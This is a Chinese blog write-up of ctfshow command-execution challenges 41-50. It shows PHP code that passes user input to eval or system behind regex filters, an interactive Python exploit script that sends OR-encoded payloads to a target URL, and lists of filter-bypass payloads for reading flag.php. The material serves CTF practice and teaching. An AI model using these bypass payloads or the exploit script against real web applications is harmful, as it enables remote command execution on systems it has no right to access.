0%

ctfshow命令执行41-50

ctfshow命令执行篇41-50

ctfshow中web入门命令执行篇的一些刷题笔记

web41

题目:

1
2
3
4
5
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}

解答:

羽师傅的博客:

https://blog.csdn.net/miuzzx/article/details/108569080?spm=1001.2014.3001.5501

这个题过滤了$、+、-、^、~使得异或自增和取反构造字符都无法使用,同时过滤了字母和数字。但是特意留了个或运算符|。
我们可以尝试从ascii为0-255的字符中,找到或运算能得到我们可用的字符的字符。

构筑rce_or.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);

运行后得到txt文件

接下来构筑exp.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
#os.system("php rce_or.php") #没有将php写入环境变量需手动运行
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)

while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)

cmd中执行

1
python exp.py <url>

分别执行:

system;ls

system;tac flag.php

web42

题目:

1
2
3
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");

解答:

1
/dev/null 2>&1

让所有的输出流(包括错误的和正确的)都定向到空设备丢弃

payload:

1
2
?c=ls;ls  //查看当前目录下文件,前一个ls执行,后一个被丢弃。等同于ls;
?c=tac flag.php; //拿到答案

知识点1:Shell脚本———— /dev/null 2>&1详解

参考链接:

https://www.cnblogs.com/tinywan/p/6025468.html

可以将/dev/null看作”黑洞”. 它非常等价于一个只写文件. 所有写入它的内容都会永远丢失. 而尝试从它那儿读取内容则什么也读不到. 然而, /dev/null对命令行和脚本都非常的有用.
用处:
禁止标准输出. 1 cat $filename >/dev/null # 文件内容丢失,而不会输出到标准输出.
禁止标准错误. 2>/dev/null 这样错误信息[标准错误]就被丢到太平洋去了.

1>/dev/null 2>&1的含义

> 代表重定向到哪里,例如:echo “123” > /home/123.txt
1 表示stdout标准输出,系统默认值是1,所以”>/dev/null”等同于”1>/dev/null”
2 表示stderr标准错误
& 表示等同于的意思,2>&1,表示2的输出重定向等同于1

因此,>/dev/null 2>&1 也可以写成“1> /dev/null 2> &1”

那么本文标题的语句执行过程为:
1>/dev/null :首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,说白了就是不显示任何信息。
2>&1 :接着,标准错误输出重定向 到 标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。

知识点2:命令分隔

1
2
3
4
5
6
;	//分号
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行
//注意&符号要进行编码

web43

题目:

多过滤了;和cat,没什么大区别,tac绕一下就行

解答:

1
?c=tac flag.php||

知识点:读文件绕过

cat被ban,以下命令可用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
(1)more:一页一页的显示档案内容
(2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
(5)tail:查看尾几行
(6)nl:显示的时候,顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器,这个也可以查看
(9)vim:一种编辑器,这个也可以查看
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:报错出具体内容
grep
strings

web44

题目:

在之前的基础上,多过滤了flag

解答:

通配符绕过,tac f*

知识点:通配符绕过

符号 作用
* 匹配任何字符串/文本,包括空字符串;代表任意字符(0个或多个) ls file
? 匹配任何一个字符(不在括号内时)?代表人意1个字符 ls file 0
[abcd] 匹配abcd中任何一个字符
[a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符 ls file 0
{..} 表示生成序列。以逗号分隔,且不能有空格
[!abcd] abcd表示非,表示不匹配括号里面的任何一个字符

web45

题目:

在前面的基础上加了空格过滤

解答:

绕空格,PHP环境下 %09过

知识点:空格绕过

1
2
3
4
5
6
7
8
><    <> 重定向符
%09(需要php环境)
${IFS}
$IFS
$IFS$1
$IFS$9
{cat,flag.php} //用逗号实现了空格功能
%20

web46、47、48

题目:

1
2
3
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}

解答:

payload:

1
?c=tac%09????.???||    //复习前面的通配符;备注:%09会解析成空格,不会被正则ban

web49

题目:

1
2
3
4
5
6
7
8
9
10
<?php

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

解答:

用之前的payload也行,贴一下大佬的一排payload

1
2
3
4
5
6
7
8
9
payload1:c=nl%09fla\g.php||
payload2:c=nl%09fla\g.php%0a
payload3:c=nl%09fla''g.php%0a
payload4:c=nl%09fla""g.php%0a
payload5:c=vi%09fla\g.php%0a
payload6:c=tac%09fla\g.php%0a
payload7:c=uniq%09fla\g.php%0a
payload8:c=nl<fla''g.php||
payload9:c=nl%09fla\g.php%26

web50

题目:

1
2
3
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}

解答:

paylaod1:?c=tac<>fla\g.php||

payload2:c=nl<fla\g.php||

注意点:<>和?一起使用时没有回显,所以这里的?可以用反斜杠进行代替

-------------本文结束感谢您的阅读-------------